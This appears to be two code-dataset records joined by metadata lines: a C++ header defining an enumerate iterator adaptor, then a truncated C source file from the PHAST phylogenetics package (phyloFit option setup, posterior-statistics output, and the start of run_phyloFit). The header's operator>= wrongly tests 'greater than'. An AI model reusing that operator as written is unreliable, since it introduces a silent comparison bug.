#pragma once #include <iterator> #include <tuple> #include <memory> namespace twistoy { template<typename _T_y, typename Category> class _enumerate_iterator {}; template<typename T> class _enumerate_iterator_base { public: int cur_; T it_; _enumerate_iterator_base(const T& it, const int& cur) : it_(it), cur_(cur) {} }; // input_enumerate_iterator template<typename T> class _enumerate_iterator<T, std::input_iterator_tag> : public _enumerate_iterator_base<T> { public: using rebind = _enumerate_iterator<T, std::input_iterator_tag>; using value_type = std::tuple<int, typename std::iterator_traits<T>::value_type>; using difference_type = ptrdiff_t; using pointer = std::unique_ptr<value_type>; using reference = value_type&; using iterator_category = std::input_iterator_tag; _enumerate_iterator<T, std::input_iterator_tag>(const T& it, int cur) : _enumerate_iterator_base<T>(it, cur) {} value_type operator*() { return value_type(this->cur_, *(this->it_)); } }; template<typename T> class _enumerate_iterator<T, std::forward_iterator_tag> : public _enumerate_iterator<T, std::input_iterator_tag> { public: using rebind = _enumerate_iterator<T, std::forward_iterator_tag>; using value_type = std::tuple<int, typename std::iterator_traits<T>::reference>; using pointer = std::unique_ptr<value_type>; using reference = value_type&; using iterator_category = std::forward_iterator_tag; _enumerate_iterator(const T& it, int cur) : _enumerate_iterator<T, std::input_iterator_tag>(it, cur) {} }; template<typename T> class _enumerate_iterator<T, std::bidirectional_iterator_tag> : public _enumerate_iterator<T, std::forward_iterator_tag> { public: using rebind = _enumerate_iterator<T, std::bidirectional_iterator_tag>; using iterator_category = std::bidirectional_iterator_tag; _enumerate_iterator(const T& it, int cur) : _enumerate_iterator<T, std::forward_iterator_tag>(it, cur) {} }; template<typename T> class _enumerate_iterator<T, std::random_access_iterator_tag> : public _enumerate_iterator<T, std::bidirectional_iterator_tag> { public: using rebind = _enumerate_iterator<T, std::random_access_iterator_tag>; using iterator_category = std::random_access_iterator_tag; _enumerate_iterator(const T& it, int cur) : _enumerate_iterator<T, std::bidirectional_iterator_tag>(it, cur) {} }; template<typename T> using enumerate_iterator = _enumerate_iterator<T, typename std::iterator_traits<T>::iterator_category>; template<typename T> using input_enumerate_iterator = _enumerate_iterator<T, std::input_iterator_tag>; template<typename T> using forward_enumerate_iterator = _enumerate_iterator<T, std::forward_iterator_tag>; template<typename T> using bidirectional_enumerate_iterator = _enumerate_iterator<T, std::bidirectional_iterator_tag>; template<typename T> using random_access_enumerate_iterator = _enumerate_iterator<T, std::random_access_iterator_tag>; // operator== [input] template<typename T> bool operator==(const input_enumerate_iterator<T>& a, const input_enumerate_iterator<T>& b) { return a.it_ == b.it_; } // operator!= [input] template<typename T> bool operator!=(const input_enumerate_iterator<T>& a, const input_enumerate_iterator<T>& b) { return a.it_ != b.it_; } // operator++ [input] template<typename T> enumerate_iterator<T>& operator++(enumerate_iterator<T>& a) { ++a.cur_; ++a.it_; return a; } // operator++(void) [input] template<typename T> enumerate_iterator<T>& operator++(enumerate_iterator<T>& a, int) { auto ret = a; ++a; return ret; } // operator-- [bidirectional] template<typename T> enumerate_iterator<T>& operator--(enumerate_iterator<T>& a) { static_assert(std::is_base_of<bidirectional_enumerate_iterator<T>, enumerate_iterator<T>>::value); --a.cur_; --a.it_; return a; } // operator--(void) [bidirectional] template<typename T> enumerate_iterator<T>& operator--(enumerate_iterator<T>& a, int) { static_assert(std::is_base_of<bidirectional_enumerate_iterator<T>, enumerate_iterator<T>>::value); auto ret = a; --a; return ret; } // operator+(int) [random_access] template<typename T> enumerate_iterator<T> operator+ (const random_access_enumerate_iterator<T>& a, int n) { return enumerate_iterator<T>(a.it_ + n, a.cur_ + n); } template<typename T> enumerate_iterator<T> operator+ (int n, const random_access_enumerate_iterator<T>& a) { return enumerate_iterator<T>(a.it_ + n, a.cur_ + n); } // operator-(int) [random_access] template<typename T> enumerate_iterator<T> operator- (const random_access_enumerate_iterator<T>& a, int n) { return enumerate_iterator<T>(a.it_ - n, a.cur_ - n); } template<typename T> enumerate_iterator<T> operator- (int n, const random_access_enumerate_iterator<T>& a) { return enumerate_iterator<T>(a.it_ - n, a.cur_ - n); } // operator< [random_access] template<typename T> bool operator< (const random_access_enumerate_iterator<T>& a, const random_access_enumerate_iterator<T>& b) { return a.it_ < b.it_; } // operator<= [random_access] template<typename T> bool operator<= (const random_access_enumerate_iterator<T>& a, const random_access_enumerate_iterator<T>& b) { return a.it_ <= b.it_; } // operator> [random_access] template<typename T> bool operator> (const random_access_enumerate_iterator<T>& a, const random_access_enumerate_iterator<T>& b) { return a.it_ > b.it_; } // operator>= [random_access] template<typename T> bool operator>= (const random_access_enumerate_iterator<T>& a, const random_access_enumerate_iterator<T>& b) { return a.it_ > b.it_; } template<typename container> class enumerate_impl { private: container& val_; int start_; public: using iterator = enumerate_iterator<typename std::decay<container>::type::iterator>; enumerate_impl(container& val, int start = 0) : val_(val), start_(start) {} iterator begin() { return iterator(val_.begin(), start_); } iterator end() { return iterator(val_.end(), -1); } }; template<typename T> enumerate_impl<T> enumerate(T& val) { return enumerate_impl<T>(val); } }
34.57377
130
0.720879
2fd025c9a414f3eb2d6de75fd2b9a8b2a31901f7
65,313
c
C
src/lib/phylo/phylo_fit.c
e3bo/phast-regression
9dcd925c51ee52c4ec07236f5375a1cfe59df53e
[ "BSD-3-Clause" ]
null
null
null
src/lib/phylo/phylo_fit.c
e3bo/phast-regression
9dcd925c51ee52c4ec07236f5375a1cfe59df53e
[ "BSD-3-Clause" ]
null
null
null
src/lib/phylo/phylo_fit.c
e3bo/phast-regression
9dcd925c51ee52c4ec07236f5375a1cfe59df53e
[ "BSD-3-Clause" ]
null
null
null
/*************************************************************************** * PHAST: PHylogenetic Analysis with Space/Time models * Copyright (c) 2002-2005 University of California, 2006-2010 Cornell * University. All rights reserved. * * This source code is distributed under a BSD-style license. See the * file LICENSE.txt for details. ***************************************************************************/ /* $Id: trees.c,v 1.25 2008-11-12 02:07:59 acs Exp $ */ /* Contains phyloFit function, the main engine behind the phyloFit program. */ #include <stdlib.h> #include <stdio.h> #include <lists.h> #include <stringsplus.h> #include <msa.h> #include <gff.h> #include <category_map.h> #include <getopt.h> #include <tree_model.h> #include <fit_em.h> #include <subst_mods.h> #include <local_alignment.h> #include <ctype.h> #include <tree_likelihoods.h> #include <numerical_opt.h> #include <sufficient_stats.h> #include <maf.h> #include <phylo_fit.h> #include <stacks.h> #include <trees.h> #include <misc.h> /* initialize phyloFit options to defaults (slightly different for rphast). */ struct phyloFit_struct* phyloFit_struct_new(int rphast) { struct phyloFit_struct *pf = smalloc(sizeof(struct phyloFit_struct)); pf->msa = NULL; pf->output_fname_root = rphast ? NULL : "phyloFit"; pf->logf = NULL; pf->reverse_group_tag = NULL; pf->root_seqname = NULL; pf->subtree_name = NULL; pf->error_fname = NULL; pf->see_for_help = rphast ? "phyloFit" : "'phyloFit -h'"; pf->parsimony_cost_fname = NULL; pf->msa_fname = NULL; pf->subst_mod = UNDEF_MOD; pf->quiet = FALSE; //probably want to switch to TRUE for rphast after debugging pf->nratecats = -1; pf->use_em = FALSE; pf->window_size = -1; pf->window_shift = -1; pf->use_conditionals = FALSE; pf->precision = OPT_HIGH_PREC; pf->likelihood_only = FALSE; pf->do_bases = FALSE; pf->do_expected_nsubst = FALSE; pf->do_expected_nsubst_tot = FALSE; pf->do_expected_nsubst_col = FALSE; pf->random_init = FALSE; pf->estimate_backgd = rphast ? TRUE : FALSE; //in rphast mode we use no.opt to specify no estimate backgd pf->estimate_scale_only = FALSE; pf->do_column_probs = FALSE; pf->nonoverlapping = FALSE; pf->gaps_as_bases = FALSE; pf->no_freqs = FALSE; pf->init_backgd_from_data = TRUE; pf->no_rates = FALSE; pf->assume_clock = FALSE; pf->init_parsimony = FALSE; pf->parsimony_only = FALSE; pf->no_branchlens = FALSE; pf->label_categories = TRUE; //if false, assume MSA already has //categories labelled with correct gff pf->nsites_threshold = DEFAULT_NSITES_THRESHOLD; pf->tree = NULL; pf->cm = NULL; pf->symfreq = FALSE; pf->nooptstr = NULL; pf->cats_to_do_str = NULL; pf->window_coords=NULL; pf->ignore_branches = NULL; pf->alt_mod_str = NULL; pf->label_str = NULL; pf->label_type = NULL; pf->bound_arg = NULL; pf->rate_consts = NULL; pf->alpha = DEFAULT_ALPHA; pf->gff = NULL; pf->input_mod = NULL; pf->use_selection = 0; pf->selection = 0.0; pf->max_em_its = -1; pf->results = rphast ? lol_new(2) : NULL; return pf; } void set_output_fname(String *fname, char *root, int cat, char *suffix) { str_cpy_charstr(fname, root); if (cat != -1) { str_append_charstr(fname, "."); str_append_int(fname, cat); } str_append_charstr(fname, suffix); } char **get_ratecat_names(TreeModel *mod, int *len) { int i; char tempstr2[100]; char **rv = smalloc(mod->nratecats * sizeof(char*)); for (i=0; i < mod->nratecats; i++) { sprintf(tempstr2, "rate.cat.%i", i); rv[i] = smalloc((strlen(tempstr2)+1)*sizeof(char)); strcpy(rv[i], tempstr2); } *len = mod->nratecats; return rv; } char **get_node_names(TreeModel *mod, int include_leaf_branches, int include_root, int add_count_column, int *len) { int node, idx=0; TreeNode *n; char **rv; *len = mod->tree->nnodes; if (add_count_column) (*len)++; if (!include_root) (*len)--; if (!include_leaf_branches) (*len) -= (mod->tree->nnodes+1)/2; rv = smalloc((*len)*sizeof(char*)); if (add_count_column) { rv[idx] = smalloc(6*sizeof(char)); strcpy(rv[idx++], "nsite"); } tr_name_ancestors(mod->tree); for (node = 0; node < mod->tree->nnodes; node++) { n = lst_get_ptr(mod->tree->nodes, node); if (n == mod->tree && !include_root) continue; if ((n->lchild == NULL || n->rchild == NULL) && !include_leaf_branches) continue; rv[idx] = smalloc((strlen(n->name)+1)*sizeof(char)); strcpy(rv[idx++], n->name); } return rv; } char **get_state_names(TreeModel *mod, const char *prefix, int *len) { int state, prefixlen; char **rv = smalloc(mod->rate_matrix->size*sizeof(char*)); *len = mod->rate_matrix->size; if (prefix == NULL) prefixlen = 0; else prefixlen = strlen(prefix); for (state=0; state < mod->rate_matrix->size; state++) { rv[state] = smalloc((mod->order + 2 + prefixlen)*sizeof(char)); rv[state][mod->order + 1 + prefixlen] = '\0'; if (prefix != NULL) strcpy(rv[state], prefix); get_tuple_str(rv[state]+prefixlen, state, mod->order + 1, mod->rate_matrix->states); } return rv; } char **get_site_names(MSA *msa, int *len) { char **rv; char tempch[100]; int i; *len = (int)msa->length; rv = smalloc((*len) * sizeof(char*)); for (i=0; i < *len; i++) { sprintf(tempch, "%i", i+1); rv[i] = smalloc((strlen(tempch)+1)*sizeof(char)); strcpy(rv[i], tempch); } return rv; } char **get_tuple_names(TreeModel *mod, MSA *msa, int cat, int *len) { int tup, idx=0; char **rv; *len = 0; for (tup = 0; tup < msa->ss->ntuples; tup++) { if ((cat >= 0 && msa->ss->cat_counts[cat][tup] == 0) || msa->ss->counts[tup] == 0) continue; (*len)++; } rv = smalloc((*len)*sizeof(char*)); for (tup = 0; tup < msa->ss->ntuples; tup++) { checkInterruptN(tup, 1000); if ((cat >= 0 && msa->ss->cat_counts[cat][tup] == 0) || msa->ss->counts[tup] == 0) continue; rv[idx] = smalloc((msa->nseqs+1)*sizeof(char)); tuple_to_string_pretty(rv[idx++], msa, tup); } return rv; } /* Compute and output statistics based on posterior probabilities, including (optionally) the post prob of each tuple of bases at each ancestral node at each site (do_bases), the expected total number of substs per site (do_expected_nsubst), and the expected number of substitutions of each type on each edge across all sites (do_expected_nsubst_tot). A separate file is output for each selected option, with an appropriate filename suffix (".postprob", ".expsub", and ".exptotsub", respectively). */ void print_post_prob_stats(TreeModel *mod, MSA *msa, char *output_fname_root, int do_bases, int do_expected_nsubst, int do_expected_nsubst_tot, int do_expected_nsubst_col, int do_every_site, int cat, int quiet, ListOfLists *results) { String *fname = str_new(STR_MED_LEN); FILE *POSTPROBF, *EXPSUBF, *EXPTOTSUBF; int i, j, tup, node, state, state2; TreeNode *n; char tuplestr[mod->order+2]; char coltupstr[msa->nseqs+1]; int ratecat; char ***dimnames; if (msa->ss == NULL) die("Error: print_post_prob_stats needs sufficient statistics"); if (do_every_site && msa->ss->tuple_idx == NULL) die("Error in print_post_prob_stats: do_every_site option requires ordered sufficient statistics"); tuplestr[mod->order+1] = '\0'; coltupstr[msa->nseqs] = '\0'; /* FIXME: rate variation! need rate post probs! */ if (mod->nratecats != 1) die("ERROR print_post_prob_stats nratecats should be 1 but is %i\n", mod->nratecats); /* compute desired stats */ if (mod->tree_posteriors != NULL) die("ERROR: mod->tree_posteriors should be NULL\n"); if (!quiet) fprintf(stderr, "Computing posterior probabilities and/or related stats ...\n"); mod->tree_posteriors = tl_new_tree_posteriors(mod, msa, do_bases, 0, do_expected_nsubst, do_expected_nsubst_tot, do_expected_nsubst_col, 0, 0); tl_compute_log_likelihood(mod, msa, NULL, NULL, cat, mod->tree_posteriors); tr_name_ancestors(mod->tree); if (do_bases) { if (results != NULL) { double ****arr; int dimsize[4]; dimnames = smalloc(4*sizeof(char**)); dimnames[0] = get_ratecat_names(mod, &dimsize[0]); dimnames[1] = get_node_names(mod, 0, 1, 0, &dimsize[1]); dimnames[2] = get_state_names(mod, NULL, &dimsize[2]); if (do_every_site) dimnames[3] = get_site_names(msa, &dimsize[3]); else dimnames[3] = get_tuple_names(mod, msa, cat, &dimsize[3]); arr = (double****)alloc_n_dimensional_array(4, dimsize, sizeof(double)); for (ratecat=0; ratecat < mod->nratecats; ratecat++) { int node_idx = 0; for (node = 0; node < mod->tree->nnodes; node++) { n = (TreeNode*)lst_get_ptr(mod->tree->nodes, node); if (n->lchild == NULL || n->rchild == NULL) continue; if (do_every_site) { for (i=0; i < msa->length; i++) { for (state=0; state < mod->rate_matrix->size; state++) { arr[ratecat][node_idx][state][i] = mod->tree_posteriors->base_probs[ratecat][state][n->id][msa->ss->tuple_idx[i]]; } } } else { for (state = 0 ; state < mod->rate_matrix->size; state++) { int tup_idx=0; for (tup=0; tup < msa->ss->ntuples; tup++) { if ((cat >=0 && msa->ss->cat_counts[cat][tup] == 0) || msa->ss->counts[tup] == 0) continue; arr[ratecat][node_idx][state][tup_idx++] = mod->tree_posteriors->base_probs[ratecat][state][n->id][tup]; } } } node_idx++; } } lol_push_dbl_array(results, arr, "bybase", 4, dimsize, dimnames); free_n_dimensional_array(arr, 4, dimsize); for (i=0; i < 4; i++) { for (j=0; j < dimsize[i]; j++) sfree(dimnames[i][j]); sfree(dimnames[i]); } sfree(dimnames); } if (output_fname_root != NULL) { set_output_fname(fname, output_fname_root, cat, ".postprob"); if (!quiet) fprintf(stderr, "Writing posterior probabilities to %s ...\n", fname->chars); POSTPROBF = phast_fopen(fname->chars, "w+"); /* print header */ fprintf(POSTPROBF, "%-6s ", "#"); for (i = 0; i < msa->nseqs; i++) fprintf(POSTPROBF, " "); fprintf(POSTPROBF, " "); for (node = 0; node < mod->tree->nnodes; node++) { n = lst_get_ptr(mod->tree->nodes, node); if (n->lchild == NULL || n->rchild == NULL) continue; for (state = 0; state < mod->rate_matrix->size; state++) { if (state == mod->rate_matrix->size/2) fprintf(POSTPROBF, "node %-2d", n->id); else fprintf(POSTPROBF, "%6s ", ""); } } fprintf(POSTPROBF, "\n%-6s ", "#"); for (state = 0; state < msa->nseqs-5; state++) fprintf(POSTPROBF, " "); fprintf(POSTPROBF, "tuple "); for (node = 0; node < mod->tree->nnodes; node++) { n = lst_get_ptr(mod->tree->nodes, node); if (n->lchild == NULL || n->rchild == NULL) continue; for (state = 0; state < mod->rate_matrix->size; state++) { get_tuple_str(tuplestr, state, mod->order + 1, mod->rate_matrix->states); fprintf(POSTPROBF, "%6s ", tuplestr); } } fprintf(POSTPROBF, "\n"); /* print post probs */ for (tup = 0; tup < msa->ss->ntuples; tup++) { checkInterruptN(tup, 1000); if ((cat >= 0 && msa->ss->cat_counts[cat][tup] == 0) || msa->ss->counts[tup] == 0) continue; tuple_to_string_pretty(coltupstr, msa, tup); fprintf(POSTPROBF, "%-6d %5s ", tup, coltupstr); for (node = 0; node < mod->tree->nnodes; node++) { n = lst_get_ptr(mod->tree->nodes, node); if (n->lchild == NULL || n->rchild == NULL) continue; for (state = 0; state < mod->rate_matrix->size; state++) fprintf(POSTPROBF, "%6.4f ", mod->tree_posteriors->base_probs[0][state][n->id][tup]); } fprintf(POSTPROBF, "\n"); } phast_fclose(POSTPROBF); } } if (do_expected_nsubst) { if (results != NULL) { int dimsize[3], node_idx, tup_idx; double ***arr; dimnames = smalloc(3*sizeof(char**)); dimnames[0] = get_ratecat_names(mod, &dimsize[0]); dimnames[1] = get_node_names(mod, 1, 0, 1, &dimsize[1]); dimnames[2] = get_tuple_names(mod, msa, cat, &dimsize[2]); arr = alloc_n_dimensional_array(3, dimsize, sizeof(double)); for (ratecat=0; ratecat < mod->nratecats; ratecat++) { tup_idx = 0; for (tup=0; tup < msa->ss->ntuples; tup++) { if ((cat >= 0 && msa->ss->cat_counts[cat][tup] == 0) || msa->ss->counts[tup] == 0) continue; arr[ratecat][0][tup_idx++] = cat >= 0 ? msa->ss->cat_counts[cat][tup] : msa->ss->counts[tup]; } node_idx = 1; for (node=0; node < mod->tree->nnodes; node++) { tup_idx = 0; n = lst_get_ptr(mod->tree->nodes, node); if (n == mod->tree) continue; for (tup=0; tup < msa->ss->ntuples; tup++) { checkInterruptN(tup, 1000); if ((cat >= 0 && msa->ss->cat_counts[cat][tup] == 0) || msa->ss->counts[tup] == 0) continue; arr[ratecat][node_idx][tup_idx++] = mod->tree_posteriors->expected_nsubst[ratecat][n->id][tup]; } node_idx++; } } lol_push_dbl_array(results, arr, "exp.nsub", 3, dimsize, dimnames); free_n_dimensional_array(arr, 3, dimsize); for (i=0; i < 3; i++) { for (j=0; j < dimsize[i]; j++) sfree(dimnames[i][j]); sfree(dimnames[i]); } sfree(dimnames); } if (output_fname_root != NULL) { set_output_fname(fname, output_fname_root, cat, ".expsub"); if (!quiet) fprintf(stderr, "Writing expected numbers of substitutions to %s ...\n", fname->chars); EXPSUBF = phast_fopen(fname->chars, "w+"); fprintf(EXPSUBF, "%-3s %10s %7s ", "#", "tuple", "count"); for (node = 0; node < mod->tree->nnodes; node++) { n = lst_get_ptr(tr_postorder(mod->tree), node); if (n == mod->tree) continue; fprintf(EXPSUBF, " node_%-2d", n->id); } fprintf(EXPSUBF, " total\n"); for (tup = 0; tup < msa->ss->ntuples; tup++) { double total = 0; checkInterruptN(tup, 1000); if ((cat >= 0 && msa->ss->cat_counts[cat][tup] == 0) || msa->ss->counts[tup] == 0) continue; tuple_to_string_pretty(coltupstr, msa, tup); fprintf(EXPSUBF, "%-3d %10s %.0f ", tup, coltupstr, msa->ss->counts[tup]); for (node = 0; node < mod->tree->nnodes; node++) { n = lst_get_ptr(tr_postorder(mod->tree), node); if (n == mod->tree) continue; fprintf(EXPSUBF, "%7.4f ", mod->tree_posteriors->expected_nsubst[0][n->id][tup]); total += mod->tree_posteriors->expected_nsubst[0][n->id][tup]; } fprintf(EXPSUBF, "%7.4f\n", total); } phast_fclose(EXPSUBF); } } if (do_expected_nsubst_col) { if (results != NULL) { int dimsize[5]; double *****arr; dimnames = smalloc(5*sizeof(char**)); dimnames[0] = get_ratecat_names(mod, &dimsize[0]); dimnames[1] = get_node_names(mod, 1, 0, 1, &dimsize[1]); dimnames[2] = get_tuple_names(mod, msa, cat, &dimsize[2]); dimnames[3] = get_state_names(mod, "from.", &dimsize[3]); dimnames[4] = get_state_names(mod, "to.", &dimsize[4]); arr = alloc_n_dimensional_array(5, dimsize, sizeof(double)); for (ratecat=0; ratecat < mod->nratecats; ratecat++) { int node_idx = 1; for (node = 0; node < mod->tree->nnodes; node++) { int tuple_idx=0; n = lst_get_ptr(mod->tree->nodes, node); if (n == mod->tree) continue; for (tup=0; tup < msa->ss->ntuples; tup++) { if ((cat >= 0 && msa->ss->cat_counts[cat][tup] == 0) || msa->ss->counts[tup] == 0) continue; for (state=0; state < mod->rate_matrix->size; state++) { for (state2=0; state2 < mod->rate_matrix->size; state2++) { arr[ratecat][0][tuple_idx][state][state2] = cat >= 0 ? msa->ss->cat_counts[cat][tup] : msa->ss->counts[tup]; arr[ratecat][node_idx][tuple_idx][state][state2] = mod->tree_posteriors->expected_nsubst_col[ratecat][n->id][tup][state][state2]; } } tuple_idx++; } node_idx++; } } lol_push_dbl_array(results, arr, "col.exp.nsub", 5, dimsize, dimnames); free_n_dimensional_array(arr, 5, dimsize); for (i=0; i < 5; i++) { for (j=0; j<dimsize[i]; j++) sfree(dimnames[i][j]); sfree(dimnames[i]); } sfree(dimnames); } if (output_fname_root != NULL) { set_output_fname(fname, output_fname_root, cat, ".expcolsub"); if (!quiet) fprintf(stderr, "Writing expected numbers of substitutions per site to %s ...\n", fname->chars); EXPSUBF = phast_fopen(fname->chars, "w+"); /* print header */ fprintf(EXPSUBF, "#tuple\tcount\tbranch"); for (state=0; state < mod->rate_matrix->size; state++) { for (state2=0; state2 < mod->rate_matrix->size; state2++) { get_tuple_str(tuplestr, state, mod->order+1, mod->rate_matrix->states); fprintf(EXPSUBF, "\t%s", tuplestr); get_tuple_str(tuplestr, state2, mod->order+1, mod->rate_matrix->states); fprintf(EXPSUBF, "->%s", tuplestr); } } fprintf(EXPSUBF, "\n"); for (tup=0; tup < msa->ss->ntuples; tup++) { if ((cat >= 0 && msa->ss->cat_counts[cat][tup] == 0) || msa->ss->counts[tup] == 0) continue; tuple_to_string_pretty(coltupstr, msa, tup); for (node = 0; node < mod->tree->nnodes; node++) { n = lst_get_ptr(mod->tree->nodes, node); if (n->parent == NULL) continue; fprintf(EXPSUBF, "%s\t%.0f\t%s", coltupstr, cat >=0 ? msa->ss->cat_counts[cat][tup] : msa->ss->counts[tup], n->name); for (state=0; state < mod->rate_matrix->size; state++) { for (state2=0; state2 < mod->rate_matrix->size; state2++) { fprintf(EXPSUBF, "\t%g", mod->tree_posteriors->expected_nsubst_col[0][n->id][tup][state][state2]); } } fprintf(EXPSUBF, "\n"); } } phast_fclose(EXPSUBF); } } if (do_expected_nsubst_tot) { if (results != NULL) { double ****arr; int dimsize[4]; dimnames = smalloc(4*sizeof(char**)); dimnames[0] = get_ratecat_names(mod, &dimsize[0]); dimnames[1] = get_node_names(mod, 1, 0, 0, &dimsize[1]); dimnames[2] = get_state_names(mod, "from.", &dimsize[2]); dimnames[3] = get_state_names(mod, "to.", &dimsize[3]); arr = alloc_n_dimensional_array(4, dimsize, sizeof(double)); for (ratecat=0; ratecat < mod->nratecats; ratecat++) { int node_idx=0; for (node = 0 ; node < mod->tree->nnodes; node++) { n = lst_get_ptr(mod->tree->nodes, node); if (n == mod->tree) continue; for (state=0; state < mod->rate_matrix->size; state++) { for (state2=0; state2 < mod->rate_matrix->size; state2++) arr[ratecat][node_idx][state][state2] = mod->tree_posteriors->expected_nsubst_tot[ratecat][state][state2][n->id]; } node_idx++; } } lol_push_dbl_array(results, arr, "tot.exp.nsub", 4, dimsize, dimnames); free_n_dimensional_array(arr, 4, dimsize); for (i=0; i < 4; i++) { for (j=0; j < dimsize[i]; j++) sfree(dimnames[i][j]); sfree(dimnames[i]); } sfree(dimnames); } if (output_fname_root != NULL) { set_output_fname(fname, output_fname_root, cat, ".exptotsub"); if (!quiet) fprintf(stderr, "Writing total expected numbers of substitutions to %s ...\n", fname->chars); EXPTOTSUBF = phast_fopen(fname->chars, "w+"); fprintf(EXPTOTSUBF, "\n\ A separate matrix of expected numbers of substitutions is shown for each\n\ branch of the tree. Nodes of the tree are visited in a postorder traversal,\n\ and each node is taken to be representative of the branch between itself and\n\ its parent. Starting bases or tuples of bases appear on the vertical axis\n\ of each matrix, and destination bases or tuples of bases appear on the\n\ horizontal axis.\n\n"); for (node = 0; node < mod->tree->nnodes; node++) { n = lst_get_ptr(tr_postorder(mod->tree), node); if (n == mod->tree) continue; fprintf(EXPTOTSUBF, "Branch above node %d", n->id); if (n->name != NULL && strlen(n->name) > 0) fprintf(EXPTOTSUBF, " (leaf labeled '%s')", n->name); fprintf(EXPTOTSUBF, ":\n\n"); /* print header */ fprintf(EXPTOTSUBF, "%-4s ", ""); for (state2 = 0; state2 < mod->rate_matrix->size; state2++) { get_tuple_str(tuplestr, state2, mod->order + 1, mod->rate_matrix->states); fprintf(EXPTOTSUBF, "%12s ", tuplestr); } fprintf(EXPTOTSUBF, "\n"); for (state = 0; state < mod->rate_matrix->size; state++) { get_tuple_str(tuplestr, state, mod->order + 1, mod->rate_matrix->states); fprintf(EXPTOTSUBF, "%-4s ", tuplestr); for (state2 = 0; state2 < mod->rate_matrix->size; state2++) fprintf(EXPTOTSUBF, "%12.2f ", mod->tree_posteriors->expected_nsubst_tot[0][state][state2][n->id]); fprintf(EXPTOTSUBF, "\n"); } fprintf(EXPTOTSUBF, "\n\n"); } phast_fclose(EXPTOTSUBF); } } tl_free_tree_posteriors(mod, msa, mod->tree_posteriors); mod->tree_posteriors = NULL; str_free(fname); } void print_window_summary(FILE* WINDOWF, List *window_coords, int win, int cat, TreeModel *mod, double *gc, int ninf_sites, int nseqs, int header_only) { int j, i; if (header_only) { if (WINDOWF != NULL) { fprintf(WINDOWF, "%5s %8s %8s %4s", "win", "beg", "end", "cat"); for (i=0; i < nseqs; i++) { char temp[100]; sprintf(temp, "GC%i", i); fprintf(WINDOWF, " %6s", temp); } fprintf(WINDOWF, " %7s", "ninf"); fprintf(WINDOWF, " %7s\n", "t"); } } else { if (WINDOWF != NULL) { fprintf(WINDOWF, "%5d %8d %8d %4d", win/2+1, lst_get_int(window_coords, win), lst_get_int(window_coords, win+1), cat); fprintf(WINDOWF, " %6.4f", vec_get(mod->backgd_freqs, mod->rate_matrix->inv_states[(int)'G']) + vec_get(mod->backgd_freqs, mod->rate_matrix->inv_states[(int)'C'])); for (j = 0; j < nseqs; j++) fprintf(WINDOWF, " %6.4f", gc==NULL ? -1.0 : gc[j]); fprintf(WINDOWF, " %7d", ninf_sites); fprintf(WINDOWF, " %7.4f\n", tr_total_len(mod->tree)); } } } int run_phyloFit(struct phyloFit_struct *pf) { FILE *F, *WINDOWF=NULL; int i, j, win, root_leaf_id = -1; String *mod_fname; MSA *source_msa; String *tmpstr = str_new(STR_SHORT_LEN); List *cats_to_do=NULL; double *gc=NULL; char tmpchstr[STR_MED_LEN]; FILE *parsimony_cost_file = NULL; int free_cm = FALSE, free_cats_to_do_str=FALSE, free_tree=FALSE, free_window_coords = FALSE; //copy some heavily used variables directly from pf for easy access MSA *msa = pf->msa; int subst_mod = pf->subst_mod; TreeNode *tree = pf->tree; GFF_Set *gff = pf->gff; int quiet = pf->quiet; TreeModel *input_mod = pf->input_mod; FILE *error_file=NULL; if (pf->no_freqs) pf->init_backgd_from_data = FALSE; if (pf->parsimony_cost_fname != NULL) parsimony_cost_file = phast_fopen(pf->parsimony_cost_fname, "w"); if (pf->use_conditionals && pf->use_em) die("ERROR: Cannot use --markov with --EM. Type %s for usage.\n", pf->see_for_help); if (pf->likelihood_only && input_mod == NULL) die("ERROR: --lnl requires --init-model. Type '%s' for usage.\n", pf->see_for_help); if (input_mod != NULL && tree != NULL) die("ERROR: --tree is not allowed with --init-model.\n"); if (subst_mod == UNDEF_MOD) { if (pf->input_mod != NULL) subst_mod = pf->input_mod->subst_mod; else subst_mod = REV; } if (pf->gaps_as_bases && subst_mod != JC69 && subst_mod != F81 && subst_mod != HKY85G && subst_mod != REV && subst_mod != UNREST && subst_mod != SSREV) die("ERROR: --gaps-as-bases currently only supported with JC69, F81, HKY85+Gap, REV, SSREV, and UNREST.\n"); /* with HKY, yields undiagonalizable matrix */ if ((pf->no_freqs || pf->no_rates) && input_mod == NULL) die("ERROR: --init-model required with --no-freqs and/or --no-rates.\n"); if (pf->no_freqs && pf->estimate_backgd) die("ERROR: can't use both --no-freqs and --estimate-freqs.\n"); if (gff != NULL && pf->cm == NULL) { pf->cm = cm_new_from_features(gff); free_cm = TRUE; } if (pf->subtree_name != NULL && pf->estimate_scale_only == FALSE) { if (!quiet) fprintf(stderr, "warning: specifying subtree implies scale_only\n"); pf->estimate_scale_only = TRUE; } if (pf->rate_consts != NULL) { lst_qsort_dbl(pf->rate_consts, ASCENDING); if (lst_size(pf->rate_consts) < 2 || lst_get_dbl(pf->rate_consts, 0) <= 0) die("ERROR: must be >= 2 rate constants and all must be positive.\n"); if (pf->nratecats != lst_size(pf->rate_consts)) die("ERROR: rate_consts must have length nratecats"); } /* internally, --non-overlapping is accomplished via --do-cats */ if (pf->nonoverlapping) { if (pf->cats_to_do_str != NULL) die("ERROR: cannot use --do-cats with nonoverlapping"); pf->cats_to_do_str = lst_new_ptr(1); lst_push_ptr(pf->cats_to_do_str, str_new_charstr("1")); free_cats_to_do_str = TRUE; } if (tree == NULL) { if (input_mod != NULL) tree = input_mod->tree; else if (msa->nseqs == 2) { sprintf(tmpchstr, "(%s,%s)", msa->names[0], msa->names[1]); tree = tr_new_from_string(tmpchstr); free_tree = TRUE; } else if (msa->nseqs == 3 && subst_mod_is_reversible(subst_mod) && pf->alt_mod_str == NULL) { sprintf(tmpchstr, "(%s,(%s,%s))", msa->names[0], msa->names[1], msa->names[2]); tree = tr_new_from_string(tmpchstr); free_tree = TRUE; } else die("ERROR: --tree required.\n"); } /* allow for specified ancestor */ if (pf->root_seqname != NULL) { TreeNode *rl; if (tree == NULL || subst_mod_is_reversible(subst_mod)) die("ERROR: --ancestor requires --tree and a non-reversible model.\n"); rl = tr_get_node(tree, pf->root_seqname); if (rl == NULL || rl->parent != tree) die("ERROR: Sequence specified by --ancestor must be a child of the root.\n"); root_leaf_id = rl->id; } if (pf->label_str != NULL || pf->label_type != NULL) { if (pf->label_str == NULL || pf->label_type == NULL || lst_size(pf->label_str) != lst_size(pf->label_type)) //shouldn't happen unless bug die("label_str and label_type should both be lists of same length\n"); for (i=0; i < lst_size(pf->label_str); i++) { String *currstr = (String*)lst_get_ptr(pf->label_str, i), *arg1, *label; List *tmplst 